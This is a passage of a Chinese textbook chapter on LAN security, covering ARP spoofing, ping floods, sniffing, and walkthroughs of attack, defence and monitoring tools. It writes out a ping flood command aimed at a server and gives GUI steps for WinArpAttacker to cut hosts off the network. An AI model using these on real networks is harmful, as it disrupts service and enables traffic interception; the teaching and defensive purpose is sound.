3）传输速率高，误码率低，可采用较低廉的传输介质。

4）系统扩展和使用方便，可共享昂贵的外部设备和软件、数据。

5）可靠性较高，适于数据处理和办公自动化。

局域网联网非常灵活，两台计算机就可以连成一个局域网。局域网的安全是内部网络安全的关键，如何保证局域网的安全性成为网络安全研究的一个重点。

7.1.2　局域网安全隐患

网络使用户以最快的速度获取信息，但是非公开性信息的被盗用和破坏，是目前局域网面临的主要问题。

1.局域网病毒

在局域网中，网络病毒除了具有可传播性、可执行性、破坏性、隐蔽性等计算机病毒的共同特点外，还具有如下几个新特点：

1）传染速度快：在局域网中，由于通过服务器连接每一台计算机，这不仅给病毒传播提供了有效的通道，而且病毒传播速度很快。在正常情况下，只要网络中有一台计算机存在病毒，在很短的时间内，将会导致局域网内计算机相互感染繁殖。

2）对网络破坏程度大：如果局域网感染病毒，将直接影响到整个网络系统的工作，轻则降低速度，重则破坏服务器重要数据信息，甚至导致整个网络系统崩溃。

3）病毒不易清除。清除局域网中的计算机病毒，要比清除单机病毒复杂得多。局域网中只要有一台计算机未能完全消除病毒，就可能使整个网络重新被病毒感染，即使刚刚完成清除工作的计算机，也很有可能立即被局域网中的另一台带病毒计算机所感染。

2.ARP攻击

ARP攻击主要存在于局域网网络中，对网络安全危害极大。ARP攻击就是通过伪造的IP地址和MAC地址，实现ARP欺骗，可在网络中产生大量的ARP通信数据，使网络系统传输发生阻塞。如果攻击者持续不断地发出伪造的ARP响应包，就能更改目标主机ARP缓存中的IP-MAC地址，造成网络遭受攻击或中断。

3.ping洪水攻击

Windows提供一个ping程序，使用它可以测试网络是否连接，ping洪水攻击也称为ICMP入侵，它是利用Windows系统的漏洞来入侵的。工作中的命令行运行如下命令：“ping-165500-t 192.168.0.1”，192.168.0.1是局域网服务器的IP地址，这样就会不断地向服务器发送大量的数据请求，如果局域网内的计算机很多，且同时都运行了命令：“ping-l 65500-t 192.168.0.1”，服务器将会因CPU使用率居高不下而崩溃，这种攻击方式也称DOS攻击（拒绝服务攻击），即在一个时段内连续向服务器发出大量请求，服务器来不及回应而死机。

4.嗅探

局域网是黑客进行监听嗅探的主要场所。黑客在局域网内的一个主机、网关上安装监听程序，就可以监听出整个局域网的网络状态、数据流动、传输数据等信息。因为一般情况下，用户的所有信息，例如账号和密码，都是以明文的形式在网络上传输的。目前，可以在局域网中进行嗅探的工具很多，如Sniffer等。

7.2　ARP欺骗与防御

在局域网中，网络中实际传输的是“帧”，帧里面有目标主机的MAC地址。这个目标MAC地址是通过地址解析协议获得的。所谓“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议（Address Resolution Protocol，地址解析协议）的基本功能就是通过目标设备的IP地址，查询目标设备的MAC地址，以保证通信的顺利进行。

ARP协议主要负责将局域网中的32位IP地址转换为对应的48位物理地址，即网卡的MAC地址，如IP地址位192.168.0.9，网卡MAC地址为00-1E-8C-17-B0-85，整个转换过程是一台主机先向目标主机发送包含有IP地址和MAC地址的数据包，再通过MAC地址连接两个主机，就可以实现数据传输了。

7.2.1　ARP欺骗概述

此起彼伏的瞬间掉线或大面积的断网，大都是ARP欺骗在作怪。ARP欺骗攻击已经成了破坏网吧经营的罪魁祸首，是网吧老板和网管员的心腹大患。从影响网络连接通畅的方式来看，ARP欺骗分为两种：一种是对路由器ARP表的欺骗；另一种是对内网PC的网关欺骗。

（1）截获网关数据

它通知路由器一系列错误的内网MAC地址，并按照一定的频率不断进行，使真实的地址信息无法通过更新保存在路由器中，结果路由器的所有数据只能发送给错误的MAC地址，造成正常PC无法收到信息。

（2）伪造网关

它的原理是建立假网关，让被它欺骗的PC向假网关发数据，而不是通过正常的路由器途径上网。在PC看来，就是上不了网了，“网络掉线了”。

一般来说，ARP欺骗攻击的后果非常严重，大多数情况下会造成大面积掉线。有些网管员对此不甚了解，出现故障时认为计算机没有问题，交换机没掉线的“本事”，电信也不承认宽带故障。而且如果第一种ARP欺骗发生时，只要重启路由器，网络就能全面恢复，那问题一定是在路由器了。为此，宽带路由器背了不少“黑锅”。

ARP欺骗木马的中毒现象表现为：使用局域网时会突然掉线，过一段时间后又会恢复正常。比如客户端状态频频变红，用户频繁断网，IE浏览器频繁出错，以及一些常用软件出现故障等。如果局域网中是通过身份认证上网的，会突然出现可认证但不能上网的现象，重启机器或在MS-DOS窗口下运行“arp-d”命令后，又可恢复上网。

ARP欺骗木马只需成功感染一台计算机，就可能导致整个局域网都无法上网，严重的甚至可能使整个网络瘫痪。该木马发作时除了会导致同一局域网内的其他用户在上网时出现掉网的现象外，还会窃取用户密码。如盗取QQ密码、盗取各种网络游戏密码和账号去做金钱交易，盗窃网上银行账号来做非法交易活动等，这是木马的惯用伎俩，容易给用户造成很大不便和巨大的经济损失。

7.2.2　WinArpAttacker ARP欺骗攻击曝光

WinArpAttacker是一款在网络中进行ARP欺骗攻击的工具，并使被攻击的主机无法正常与网络连接。此外，它还是一款网络嗅探（监听）工具，可嗅探网络中的主机、网关等对象，也可进行反监听，扫描局域网中是否存在监听，具体的操作步骤如下。

步骤1：将WinArpAttacker压缩包解压后，先安装WinPcap再双击WinArpAttacker.exe程序，即可进入其主界面，如图7-1所示。

步骤2：单击工具栏上的“Scan”按钮，即可扫描出局域网中的所有主机。若选择“Scan”→“Advanced”选项，则可设置扫描范围，如图7-2所示。

步骤3：单击工具栏上的“Options”→“Adapter”按钮，即可打开“Options”对话框，如图7-3所示。如果本地主机安装有多块网卡，则可在“Adapter”标签卡选择绑定的网卡和IP地址。

图7-1　WinArpAttacker操作界面

图7-2　设置扫描范围

图7-3　设置适配器

步骤4：在“Attack”标签卡中可设置网络攻击时的各种选项，如图7-4所示。除ARP flood times是次数外，其他都是持续时间，如果是0则不停止。

步骤5：在“Update”标签卡中可设置自动扫描的时间间隔，如图7-5所示。

步骤6：在“Detect”标签卡中可设置检测的频率，如图7-6所示。

步骤7：在“Analysis”标签卡中可指定保存ARP数据包文件的名称与路径，如图7-7所示。

步骤8：在“Proxy Arp”标签卡中可启用代理ARP功能，如图7-8所示。

步骤9：在“Protect”标签卡中可启用本地和远程防欺骗保护功能，避免自己的主机受到ARP欺骗攻击，如图7-9所示。

图7-4　设置攻击选项

图7-5　设置更新选项

图7-6　设置检测频率

图7-7　设置文件名称与保存路径

图7-8　启用代理ARP功能

图7-9　使用防护功能

步骤10：在选取需要攻击的主机之后，单击“Attack”按钮右侧下拉按钮，在其中选择攻击方式，如图7-10所示。受到攻击的主机将不能正常与Internet网络进行连接，单击“Stop”按钮，则被攻击的主机恢复正常连接状态。

图7-10　选择攻击方式

步骤11：如果使用了嗅探攻击，则可单击“Detect”按钮开始嗅探，单击“Save”按钮，可将主机列表保存下来，最后再单击“Open”按钮，即可打开主机列表。

步骤12：如果用户对ARP包的结构比较熟悉，了解ARP攻击原理，则可自己动手制作攻击包，单击“Send”按钮进行攻击。

提示

ArpSQ是该机器发送ARP请求包的个数；ArpSP是该机器的发送回应包个数；ArpRQ是该机器的接收请求包个数；ArpRP是该机器的接收回应包个数。

7.2.3　网络监听与ARP欺骗

网络监听技术可以用来监视网络的状态、数据流动情况以及网络上传输的信息等。当信息以明文的形式在网络上传输时，只要将网络接口设置成监听模式，便可以源源不断地将网上传输的信息截获。

而ARP欺骗则可以使计算机无法找到网关的MAC地址。当局域网内某台主机运行ARP欺骗的木马程序时，会欺骗局域网内所有主机和路由器，让所有上网的流量必须经过病毒主机。其他用户原来直接通过路由器上网，现在将转由通过病毒主机上网，切换时用户会断一次线。

1.网络监听

网络监听就像网络中的一把双刃剑，一方面它在监测网络性能、排除网络故障方面起着不可替代的作用；另一方面，由于其本身具有非常强的隐蔽性，一旦其被黑客用来进行网络嗅探，则会给以太网的安全带来极大的隐患。

在局域网中实现网络监听的原理如下：

对于目前很流行的以太网协议，其工作方式是将要发送的数据包发往连接在一起的所有主机，数据包中包含着应接收数据包的主机的正确地址，只有与数据包中目标地址一致的那台主机才能接收。但当主机工作在监听模式下时，无论数据包中的目标地址是什么，主机都将接收数据包（当然，只能监听经过自己网络接口的那些包）。

在互联网上有很多使用以太网协议的局域网，许多主机通过电缆、集线器连在一起。当同一互联网中的两台主机通信时，源主机将写有目标主机地址的数据包直接发向目标主机。但这种数据包不能在IP层直接发送，必须从TCP/IP协议的IP层交给网络接口（也即数据链路层），而网络接口是不会识别IP地址的。

因此，在网络接口数据包又增加了一部分以太帧头的信息。在帧头中有两个域，分别为只有网络接口才能识别的源主机和目的主机的物理地址，这是一个与IP地址相对应的48位地址。

传输数据时，包含物理地址的帧从网络接口（网卡）发送到物理线路上，如果局域网是由一条粗缆或细缆连接而成的，则数字信号在电缆上传输，并能够到达线路上的每一台主机。

当使用集线器时，由集线器再发向连接在集线器上的每一条线路，数字信号也能到达连接在集线器上的每一台主机。当数字信号到达一台主机的网络接口时，正常情况下，网络接口读入数据帧，进行检查，如果数据帧中携带的物理地址是自己的或广播地址，则将数据帧交给上层协议软件，也即IP层软件，否则就将这个帧丢弃。对于每一个到达网络接口的数据帧，都要进行这个过程。

现在网络中使用的大部分协议都是很早设计的，许多协议的实现都基于一种非常友好的、通信的双方充分信任基础之上，许多信息以明文发送。因此，如果用户的账户名和口令等信息也以明文方式在网上传输，而此时一个黑客或网络攻击者正在进行网络监听，只要具有初步的网络和TCP/IP协议知识，便能轻易地从监听到的信息中提取出感兴趣的部分。

同理，正确使用网络监听技术也可以发现入侵并对入侵者进行追踪定位，在对网络犯罪进行侦查取证时获取有关犯罪行为的重要信息，成为打击网络犯罪的有力手段。

要使主机工作在监听模式下，需要向网络接口发出I/O控制命令，将其设置为监听模式。在Windows系列操作系统中则没有这个限制。要实现网络监听，可以自己用相关的计算机语言和函数编写出功能强大的网络监听程序，也可以使用一些现成的监听软件，在很多黑客网站或从事网络安全管理的网站都有。

2.ARP欺骗

出现网络频繁掉线的原因有如下两点：

1）当局域网内某台主机感染了ARP病毒时，会向本局域网内（指某一网段，比如：10.10.75.0网段）所有主机发送ARP欺骗攻击，谎称自己是这个网端的网关设备，让原本流向网关的流量改道流向病毒主机，造成受害者不能正常上网。

2）局域网内有某些用户使用了ARP欺骗程序（如：网络执法官、QQ盗号软件等）发送ARP欺骗数据包，致使被攻击的计算机出现突然不能上网，过一段时间又能上网，反复掉线的现象。

7.2.4　金山贝壳ARP防火墙的使用

金山贝壳ARP防火墙能够双向拦截ARP欺骗攻击包，监测锁定攻击源，时刻保护局域网内计算机的正常上网数据流向，是一款适合于个人用户的反ARP欺骗保护工具。

具体的操作方法如下：

步骤1：安装并运行金山贝壳ARP防火墙，在主界面右上角单击“设置”链接，如图7-11所示。

步骤2：单击“基本设置”按钮，进行启动保护以及拦截提示设置，如图7-12所示。

图7-11　单击“设置”链接

图7-12　单击“基本设置”按钮

步骤3：网关设置。选择自动获取网关或手动设置网关，选择手动设置网关时建议选择默认获取网关，这样比较方便快捷，如图7-13所示。

步骤4：安全设置。对ARP攻击拦截等选项进行设定，设定完成后单击“确定”按钮，如图7-14所示。

图7-13　网关设置

图7-14　安全设置

步骤5：返回主界面，单击“查看拦截记录”链接，如图7-15所示。

步骤6：查看拦截记录。单击“清空记录”按钮可将拦截信息清除，如图7-16所示。

图7-15　单击“查看拦截记录”链接

图7-16　查看拦截记录

7.2.5　AntiArp-DNS防火墙

AntiArp-DNS防火墙是一款防火墙，包括了对ARP和DNS欺骗攻击的实时监控和防御，受到攻击时会迅速记录追踪攻击者，且控制攻击的程度至最低，还能达到有效防止局域网内非法ARP或DNS欺骗攻击的目的。

具体的使用方法如下。

步骤1：下载并安装AntiArp-DNS防火墙，其主窗口如图7-17所示。在其中显示了网卡数据信息，包括子网掩码、本地IP以及局域网中其他计算机的相关信息。当启动防护程序之后，该软件就会把本机MAC地址与IP地址自动绑定实施防护。

步骤2：当遇到ARP网络攻击后，软件会自动拦截攻击数据，系统托盘图标通过呈现闪烁性图标来警示用户。另外，在日志中也将记录当前攻击者的IP，MAC攻击者的信息与攻击来源。

步骤3：单击AntiArp-DNS防火墙主窗口下面的“广播源列”按钮，即可看到广播来源的相关信息，如图7-18所示。

图7-17　“AntiArp-DNS防火墙”主窗口

图7-18　广播来源信息列表

步骤4：单击AntiArp-DNS防火墙主窗口中的“基本设置”按钮，即可看到相关的设置信息，如图7-19所示。AntiArp-DNS提供了比较丰富的设置菜单，如主要功能、副功能等。除可预防掉线断网情况外，该软件还可以识别由ARP欺骗造成的“系统IP冲突”情况，而且还增加了自动监控模式。

步骤5：单击AntiArp-DNS防火墙主窗口中的“本地防御”按钮，即可打开“本地防御”选项卡，在其中根据DNS绑定功能可以屏蔽不良网站，如用户所在的网站被ARP挂马等，可以找出页面进行屏蔽，如图7-20所示。其格式为： 127.0.0.1 www.xxx.com 。同时该网站还提供了大量的恶意网站域名，用户可以根据情况进行设置。

图7-19　“基本设置”选项卡

图7-20　“本地防御”选项卡

7.3　绑定MAC防御IP冲突攻击

MAC（Media Access Control，介质访问控制）地址是网卡的身份标识，是烧录在网卡中的MAC地址，也叫硬件地址，是由48比特长（6字节）、16进制的数字组成。其中0~23位由厂家自己分配，而24~47位是组织唯一标志符，用来识别LAN（局域网）节点的标识。第40位是组播地址标志位，只要不去更改自己的MAC地址，则MAC地址就是唯一的。

7.3.1　查看本机的MAC地址

在Windows系统中查看本机MAC地址时，需要在“命令提示符”窗口中输入“ipconfig/all”命令，其运行结果如图7-21所示，在其中即可看到本机的MAC地址。

使用“ipconfig/all”命令只能获得单条MAC地址，而且使用起来很麻烦。对于网管人员，利用“MAC扫描器”工具即可远程批量获取MAC地址，该软件是一款用于批量获取远程计算机网卡物理地址的网络管理软件，运行在网络（局域网、互联网都可以）内的一台机器上，即可监控整个网络的连接情况，实时检测各用户的IP、MAC、主机名、用户名等并记录，以供查询，可以由用户自己加以备注。该软件可以进行跨网段扫描，可以和数据库中的IP、MAC地址进行比较，遇到有修改IP或使用虚假MAC地址的现象，都可进行及时报警。

图7-21　输入“ipconfig/all”命令

7.3.2　绑定MAC防御IP冲突攻击

为了防止IP冲突攻击，用户可以在路由器中绑定IP地址与MAC地址，使得除绑定IP地址外的任何地址都无法接入当前局域网，从而防御IP冲突攻击。

步骤1：单击“属性”命令，右击“网络”图标，在弹出的快捷菜单中单击“属性”命令，如图7-22所示。

步骤2：打开“网络和共享中心”窗口，在左侧单击“更改适配器设置”链接，如图7-23所示。

图7-22　单击“属性”命令

图7-23　“网络和共享中心”窗口

步骤3：打开“网络连接”窗口，右击“本地连接”，在弹出的快捷菜单中单击“属性”按钮，如图7-24所示。

步骤4：打开“本地连接属性”对话框，选中Internet协议版本4选项，然后单击“属性”按钮，如图7-25所示。

图7-24　右击“本地连接”

图7-25　单击“属性”按钮

步骤5：手动配置IP地址。在对话框中输入指定的IP地址与DNS服务器地址，单击“确定”按钮即可，如图7-26所示。

图7-26　手动配置IP地址

7.4　局域网助手攻击与防御

局域网助手（LanHelper）专门为高效率的局域网管理而设计，同时不需要任何服务端软件，具有智能而快速的扫描引擎，可按IP范围或工作组扫描整个网络，扫描信息包括IP地址、MAC地址、SNMP、NetBIOS、工作组名称、当前用户名称、操作系统类型、共享文件夹等。支持数据导入导出，还提供有XML和HTML查看模式，用来在浏览器中方便查看。

“远程开机”功能可以给位于局域网或广域网上的计算机发送唤醒命令而使其自动加电启动。“远程关机”功能让系统管理员可通过局域网关闭或重启远程计算机。“远程执行”功能可以在远程机器上执行命令，运行程序或打开文件。

执行“LanHelper集成命令”功能，则可以让远程机器完成诸如锁定计算机、锁定鼠标和键盘，或定时截取屏幕、杀进程等。“刷新状态”可用于定时监视网络，查看计算机是否在线，以及检测计算机名或者IP地址是否有改动，当指定事件发生时能够以电子邮件等方式通知管理员。“发送消息”可以用非常灵活的方式给用户、计算机、工作组或整个局域网发送网络消息。“服务”功能用于Windows系统的服务管理，可查看服务，启动停止服务或远程安装服务等。LanHelper中的各种操作都提供有实时日志，可帮助网络管理员分析和解决网络问题。

使用局域网助手的具体操作步骤如下。

步骤1：打开“LanHelper”主窗口，依次单击“Network”→“Scan IP”菜单项，如图7-27所示。

步骤2：打开“Scan IP”对话框，设置要扫描的IP范围，同时设置其他扫描属性之后，单击“Start Scan”按钮，如图7-28所示。

图7-27　单击“Network”→“Scan IP”菜单项

图7-28　单击“Start Scan”按钮

步骤3：查看扫描结果，如图7-29所示。

步骤4：查看主窗口，依次单击“Network”→“Scan LAN”菜单项，如图7-30所示。

图7-29　查看扫描结果

图7-30　查看主窗口

步骤5：扫描整个局域网上的计算机，查看扫描结果，如图7-31所示。

步骤6：查看主窗口。依次单击“Network”→“Scan Workgroups”菜单项，如图7-32所示。

步骤7：打开“Scan Workgroups”对话框，在“Select workgroups”列表中选择要扫描的工作组之后，单击“Start Scan”按钮，如图7-33所示。

步骤8：扫描整个工作组的计算机，查看扫描结果，如图7-34所示。

图7-31　查看扫描结果

图7-32　查看主窗口

图7-33　单击“Start Scan”按钮

图7-34　查看扫描结果

步骤9：查看主窗口，依次单击“Tools”→“Options”菜单项，如图7-35所示。

步骤10：打开“Options”对话框，对Lanhelper的相关属性进行设置，如图7-36所示。

图7-35　查看主窗口

图7-36　对Lanhelper的相关属性进行设置

7.5　利用网络守护神实现DNS欺骗

网络守护神主要针对目前国内机关、企事业单位的网络应用现状，如单位总出口带宽有限、网络滥用、员工无节制上网、聊天等情况，提供了简单、快捷而非常有效的管理功能。

使用网络守护神反击攻击者的具体操作步骤如下：

步骤1：启动网络守护神，首次启动时会弹出“网段名称”对话框，在“请输入新网段名称”文本框中输入网段名称，然后单击“下一步”按钮，如图7-37所示。

步骤2：选择接入公网类型。选择“路由器（企业路由器、宽带路由器等）”单选按钮，单击“下一步”按钮，如图7-38所示。

图7-37　输入网段名称

图7-38　选择接入公网类型

步骤3：选择网卡并查看该网卡的信息，单击“下一步”按钮，如图7-39所示。

步骤4：指定网段范围。设置IP地址范围，如192.168.0.1~192.168.0.255，设置完成后单击完成按钮，如图7-40所示。

图7-39　选择网卡并查看该网卡的信息

图7-40　设置IP地址范围

步骤5：监控网段配置。选中要监控的网段，单击“开始监控”按钮，如图7-41所示。

步骤6：单击“信息提示”对话框中的“是（Y）”按钮，启动网络守护神服务，如图7-42所示。

图7-41　单击“开始监控”按钮

图7-42　启动网络守护神服务

步骤7：新建策略。单击“新建策略”按钮，如图7-43所示。

步骤8：在文本框中输入策略名，单击“确定”按钮，如图7-44所示。

图7-43　单击“新建策略”按钮

图7-44　输入策略名

步骤9：根据需求选择带宽，单击“下一步”按钮，如图7-45所示。

步骤10：根据需求设置流量限制，单击“下一步”按钮，如图7-46所示。

图7-45　选择带宽

图7-46　设置流量限制

步骤11：选择对具体的某种P2P下载工具进行流量限制，比如电驴、QQ游戏等，然后单击“下一步”按钮，如图7-47所示。

步骤12：普通下载设置。启用HTTP下载和FTP下载限制，单击“下一步”按钮，如图7-48所示。

图7-47　对具体的P2P下载工具进行流量限制

图7-48　启用HTTP下载和FTP下载限制

步骤13：时间设置。设定策略所控制的时间段，单击“完成”按钮，如图7-49所示。

步骤14：软件性能设置。在“网络守护神”主窗口中单击“软件配置”图标，对软件的各种性能进行设置，如图7-50所示。

图7-49　时间设置

图7-50　软件性能设置

步骤15：IP-MAC地址绑定设置。在“网络守护神”主窗口中单击“IP绑定”图标，勾选“启用IP-MAC地址绑定”复选框，添加MAC-IP地址绑定，单击“确定”按钮，如图7-51所示。

图7-51　IP-MAC地址绑定设置

7.6　局域网监控工具

利用专门的局域网查看工具来查看局域网中各个主机的信息，在本节将介绍三款非常方便实用的局域网查看工具。

7.6.1　网络特工

网络特工可以监视与主机相连的HUB上所有机器收发的数据包，还可以监视所有局域网内的机器上网情况，以对非法用户进行管理，并使其登录指定的IP网址。

使用网络特工的具体操作步骤如下：

步骤1：下载并运行其中的“网络特工.exe”程序，即可打开“网络特工”主窗口，如图7-52所示。

图7-52　“网络特工”主窗口

步骤2：选择“工具”→“选项”菜单项，即可打开“选项”对话框，在其中设置相应的属性，如图7-53所示。还可以设置“启动”“全局热键”等属性。

图7-53　“选项”对话框

步骤3：在“网络特工”主窗口左列表中单击“数据监视”选项，即可打开“数据监视”窗口。在其中设置要监视内容，单击“开始监视”按钮，即可进行监视，如图7-54所示。

步骤4：在“网络特工”主窗口左边的列表中右击“网络管理”选项，在弹出的快捷菜单中选择“添加新网段”选项，即可打开“添加新网段”对话框，如图7-55所示。

图7-54　监视数据的结果

步骤5：在设置网络的开始IP地址、结束IP地址、子网掩码、网关IP地址之后，单击“Ok”按钮，即可在“网络特工”主窗口左边的“网络管理”选项中看到新添加的网段，如图7-56所示。

图7-55　“添加新网段”对话框

步骤6：双击该网段，即可在右边打开的窗口中看到刚设置网段中所有的信息，如图7-57所示。单击“管理参数设置”按钮，即可打开“网段参数设置”对话框，在其中对各个网络参数进行设置，如图7-58所示。

步骤7：单击“网址映射列表”按钮，即可打开“网址映射列表”对话框，如图7-59所示。在“DNS服务器IP”文本区域中选中要解析的DNS服务器后，单击“开始解析”按钮，即可对选中的DNS服务器进行解析，如图7-60所示。待解析完毕后，即可看到该域名对应的主机地址等属性。

图7-56　新添加的网段

图7-57　查看刚添加的网段的详细信息

图7-58　“网段参数设置”对话框

图7-59　“网址映射列表”对话框

图7-60　对选中的DNS服务器进行解析

步骤8：在“网络特工”主窗口左边的列表中单击“互联星空”选项，即可打开“互联情况”窗口，在其中可进行扫描端口和DHCP服务操作，如图7-61所示。

图7-61　“互联星空”窗口

步骤9：在右边列表中选择“端口扫描”选项后，单击“开始”按钮，即可打开“端口扫描参数设置”对话框，如图7-62所示。在设置起始IP和结束IP之后，单击“常用端口”按钮，即可将常用的端口显示在“端口列表”文本区域内，如图7-63所示。

图7-62　“端口扫描参数设置”对话框

图7-63　设置端口扫描的各个参数

步骤10：单击“OK”按钮，即可进行扫描端口操作，在扫描的同时，将扫描结果显示在下面的“日志”列表中，在其中即可看到各个主机开启的端口，如图7-64所示。

步骤11：在“互联星空”窗口右边的列表中选择“DHCP服务扫描”选项后，单击“开始”按钮，即可进行DHCP服务扫描操作，如图7-65所示。

图7-64　进行扫描端口操作

图7-65　进行DHCP服务扫描操作

7.6.2　LanSee工具

针对机房中的用户经常误设工作组，随意更改计算机名、IP地址和共享文件夹等情况，可以使用“局域网查看工具LanSee”非常方便地完成监控，这样既可以迅速排除故障，又可以解决一些潜在的安全隐患。

1.搜索计算机

LanSee是一款主要用于对局域网（Internet上也适用）上各种信息进行查看的工具，采用多线程技术，将局域网上比较实用的功能完美地融合在了一起，功能十分强大。

使用LanSee工具搜索计算机的具体操作步骤如下：

步骤1：双击下载的应用程序，即可打开“局域网查看工具”主窗口，如图7-66所示。

图7-66　“局域网查看工具”主窗口

步骤2：单击“设置”按钮，选择“工具选项”一栏，即可在“选项”对话框中选择相应网段形式，并进行相应的设置，如图7-67所示。

步骤3：在“搜索计算机”选项卡中选择在局域网内搜索计算机的搜索范围，如图7-68所示。

步骤4：在“搜索共享文件”选项卡中没有要使用的文件类型，则可在“添加”按钮左侧的文本框中输入需要的文件格式，如图7-69所示。单击“添加”按钮，即可将其添加成功。

图7-67　“设置”对话框

图7-68　“搜索计算机”选项卡

步骤5：在选择所需格式之后，单击“保存”按钮，即可完成对搜索文件的设置。在“扫描端口”选项卡中添加所要扫描的端口，添加完成后单击“保存”按钮，如图7-70所示。

图7-69　“搜索共享文件”选项卡

图7-70　“扫描端口”选项卡

步骤6：在“局域网查看工具”主窗口中单击“开始”按钮，即可开始搜索，如图7-71所示。

图7-71　IP地址的显现

步骤7：如果要打开搜索的计算机并与其进行连接，在该IP地址上右键单击，选择“打开计算机”，如图7-72所示。

步骤8：在“Windows安全”对话框中输入相应内容，即可与此计算机建立连接，如图7-73所示。

图7-72　选择“打开计算机”

图7-73　“Windows安全”对话框

2.搜索共享资源

共享资源往往是局域网数据泄密的“罪魁祸首”，网管要经常检查局域网中是否存在一些不必要开放的共享资源，在查看到不安全因素后，要及时通知开放共享的用户将其关闭。

在LanSee主窗口中单击“开始”按钮，搜索出IP地址后，紧接着会搜索共享资源，在“共享资源列表”框中可看到每台计算机开放的共享资源，如图7-74所示。

图7-74　共享资源

7.6.3　长角牛网络监控机

长角牛网络监控机（网络执法官）只需在一台机器上运行，便可穿透防火墙，实时监控、记录整个局域网用户的上线情况，可限制各用户上线时所用的IP、时段，并可将非法用户踢下局域网。本软件适用范围为局域网内部，不能对网关或路由器外的机器进行监视或管理，适合局域网管理员使用。

1.长角牛网络监控机

“长角牛网络监控机”主要功能是依据管理员为各主机限定的权限，实时监控整个局域网，并自动对非法用户进行管理，可将非法用户与网络中某些主机或整个网络隔离，而且无论局域网中的主机运行何种防火墙，都不能逃避监控，也不会引发防火墙警告，提高了网络安全性。

在使用“长角牛网络监控机”进行网络监控前应对其进行安装，具体的操作步骤如下。

步骤1：下载并解压“长角牛网络监控机”文件夹，双击“长角牛网络监控机”安装程序图标，即可弹出“选择安装语言”对话框，在其中选择需要使用的语言，如图7-75所示。

图7-75　“选择安装语言”对话框

步骤2：在选择好安装时要使用的语言后，单击“确定”按钮，即可打开“欢迎使用Netrobocop v3.48安装向导”对话框，如图7-76所示。

步骤3：单击“下一步”按钮，即可打开“选择目标位置”对话框，在其中选择程序安装位置，如图7-77所示。

图7-76　“欢迎使用Netrobocop v3.48安装向导”对话框

图7-77　“选择目标位置”对话框

步骤4：选择“Netrobocop v3.48”安装目标位置，单击“下一步”按钮，即可打开“开始菜单文件夹”对话框，在其中选择程序快捷方式放置位置，如图7-78所示。

步骤5：单击“下一步”按钮，即可打开“选择附加任务”对话框，选择安装“Netrobocop v3.48”时要执行的附加任务，如图7-79所示。

步骤6：继续单击“下一步”按钮，即可进入“准备安装”对话框，将开始准备安装程序，如图7-80所示。单击“安装”按钮，开始安装并显示安装进度。

步骤7：单击“下一步”按钮，即可弹出“Netrobocop v3.48安装向导完成”对话框。单击“完成”按钮，即可成功完成安装，如图7-81所示。

步骤8：在安装完成后，“长角牛网络监控机”会在桌面自动生成快捷方式。双击“Netrobocop”快捷方式图标，即可弹出“设置监控范围”对话框，在其中指定监测的硬件对象和网段范围，如图7-82所示。

步骤9：在设置好要扫描的范围之后，单击“添加/修改”按钮，再单击“确定”按钮，即可进入“长角牛网络监控机”操作窗口，其中显示了在同一个局域网下的所有用户，可查看其状态、流量、IP地址、是否锁定、最后上线时间、下线时间、网卡注释等信息，如图7-83所示。

图7-78　“开始菜单文件夹”对话框

图7-79　“选择附加任务”对话框

图7-80　“准备安装”对话框

图7-81　“Netrobocop v3.48安装向导完成”对话框

图7-82　“设置监控范围”对话框

图7-83　“长角牛网络监控机”操作窗口

“网卡MAC地址”是网卡的物理地址，也称硬件地址或链路地址，是网卡自身的唯一标识，一般不能随意改变。无论把这个网卡接入到网络的什么地方，MAC地址都不变。其长度为48位二进制数，由12个00~0FFH的16进制数组成，每个16进制数之间用“-”隔开，如“00-0C-76-9F-BC-02”。

2.查看目标计算机属性

使用“长角牛网络监控机”可搜集处于同一局域网内所有主机的相关网络信息，具体的操作步骤如下。

步骤1：在“长角牛网络监控机”操作窗口中双击“用户列表”中需要查看对象，即可打开“用户属性”对话框，在其中查看用户的网卡地址、IP地址、上线情况等，如图7-84所示。

步骤2：还可以通过单击“历史记录”按钮，打开“在线记录”对话框，在其中查看该计算机上线的情况，如图7-85所示。

图7-84　“用户属性”对话框

图7-85　“在线记录”对话框

3.批量保存目标主机信息

除收集局域网内各个计算机的信息之外，“网络执法官”还可以对局域网中的主机信息进行批量保存，具体的操作步骤如下。

步骤1：在“长角牛网络监控机”操作窗口中选择“记录查询”选项卡，在“IP地址段”中输入“起始IP”地址和“结束IP”地址，单击“查找”按钮，即可开始收集局域网中计算机的信息，如图7-86所示。

步骤2：单击“导出”按钮，将所有信息导出为文本文件，如图7-87所示。

4.设置关键主机

“关键主机”是由管理员指定的IP地址，可以是网关、其他计算机或服务器等。管理员将指定的IP存入“关键主机”之后，即可令非法用户仅断开与“关键主机”的连接，而不断开与其他计算机的连接。

设置“关键主机组”的具体操作方法如下。

步骤1：选择“设置”→“关键主机组”菜单项，或在“锁定/解锁”对话框中单击“设置”按钮，均可打开“关键主机组设置”对话框，如图7-88所示。

步骤2：在“选择关键主机组”下拉列表框中选择关键主机组的名称。

步骤3：在设定“组内IP”之后，单击“全部保存”按钮，将关键主机的修改即时生效并进行保存。

图7-86　“记录查询”页面

图7-87　查看记事本文件信息

图7-88　“关键主机组设置”对话框

5.设置默认权限

“长角牛网络监控机”还可以对局域网中的计算机进行网络管理。它并不要求安装在服务器中，而是可以安装在局域网内的任一台计算机上，对整个局域网内的计算机进行管理。

设置用户权限的具体操作如下。

步骤1：选择“用户”→“权限设置”菜单项并选择一个网卡权限，单击即可打开“用户权限设置”对话框，在其中对该用户权限类型进行相应设置，如图7-89所示。

步骤2：选择“受限用户，若违反以下权限将被管理”单选项之后，如果需要对IP进行限制，则可勾选“启用IP限制”复选框，并单击“禁用以下IP段：未设定”按钮，即可在弹出的IP限制对话框中对IP进行设置，如图7-90所示。

图7-89　“用户权限设置”对话框

图7-90　“IP限制”对话框

步骤3：选择“禁止用户，发现该用户上线即管理”单选项，即可在“管理方式”复选项中设置管理方式，当目标计算机接入局域网时，“网络执法官”即按照设定的项对该计算机进行管理，如图7-91所示。

图7-91　设置管理方式

6.禁止目标计算机访问网络

禁止目标计算机访问网络是“网络执法官”的重要功能，具体的禁止方法如下。

步骤1：在“长角牛网络监控机”操作窗口中，右击“用户列表”中的任意一个对象，在弹出的快捷菜单中选择“锁定/解锁”选项，如图7-92所示，即可弹出“锁定/解锁”对话框，如图7-93所示。

步骤2：选中锁定方式为“禁止与所有主机的TCP/IP连接（除敏感主机外）”单选项，单击“确定”按钮，即可实现禁止目标计算机访问网络这项功能。

